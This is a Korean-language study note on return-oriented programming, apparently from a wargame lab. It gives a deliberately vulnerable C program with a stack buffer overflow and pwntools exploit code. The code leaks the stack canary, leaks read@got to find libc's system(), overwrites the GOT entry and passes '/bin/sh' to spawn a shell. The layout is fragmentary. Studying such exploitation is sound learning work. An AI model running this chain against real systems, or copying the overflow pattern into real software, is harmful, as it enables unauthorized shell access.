system
함수system
함수의 offset을 이용하여 함수의 주소를 계산해야 한다.ROP란?
다수의 리턴 가젯을 연결해서 사용하는 기법
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
-> aslr, canary, nx
두 번의 오버플로우로 canary를 우회하고, ret를 덮을 수 있음
1. system
함수의 주소 직접 구하기
2. "/bin/sh"문자열을 사용할 다른 방법 고안
똑같
system
함수는 libc.so.6에 정의되어 있다.
libc.so.6애는 read
, puts
, printf
도 정의되어있다.
라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, 다른 함수들과 함께 프로세스 메모리에 적재된다.
read
, puts
, printf
는 등록!2번 방법에서는
libc.so.6에 포함된 "/bin/sh"문자열을 사용하는 방법을 많이 쓴다.
이번 실습에서는 ROP로 버퍼에 "/bin/sh"를 입력하고 참조하는 1번방법을 사용!
알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓰고, 그 함수를 재호출하도록 ROP 체인을 구성
buf ~ rbp 거리 : 0x40
canary는 8byte이므로 buf~canary거리 : 0x40-0x08 = 0x38
-> 0x38 + 1 = 0x39 byte만큼 더미값을 주면 카나리 릭 성공
buf = b"A"*0x39 #0x38 + 1
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
read
함수의 got 읽는다.
read
함수와 system
함수의 offset을 이용하여 주소를 얻는다.
ELF.symbols
메소드 이용libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
offset = libc.symbols["read"]-libc.symbols["system"]
# puts(read@got)
payload += p64(pop_rdi) # gadget : puts
payload += p64(read_got) # value : read@got
payload += p64(puts_plt) # function : puts(read@got) 호출
p.sendafter("Buf: ", payload) # puts()와 read got를 이용해서 read() 주소 출력
# 시스템 함수 주소
read = u64(p.recvn(6) + b"\x00"*2) # read()의 주소
lb = read - libc.symbols["read"] # libaray base = read()의 주소 - read symbols
system = lb + libc.symbols["system"] # system address = libaray base + system offset
# read(0, read@got, 0) => read@got <= system addr
payload += p64(pop_rdi) + p64(0) # read(0, , )
payload += p64(pop_rsi) + p64(read_got) # read(0, read@got, )
payload += p64(0) # read(0, read@got, 0)
payload += p64(read_plt) # read(0, read@got, 0) 호출
# read_got + 8에 "/bin/sh"문자열 작성
payload += p64(pop_rdi)
payload += p64(read_got+0x8) # read 함수의 첫번째 인자 값 ("/bin/sh")
payload += p64(read_plt) # read("/bin/sh") 호출
p.send(p64(system)+b"/bin/sh\x00")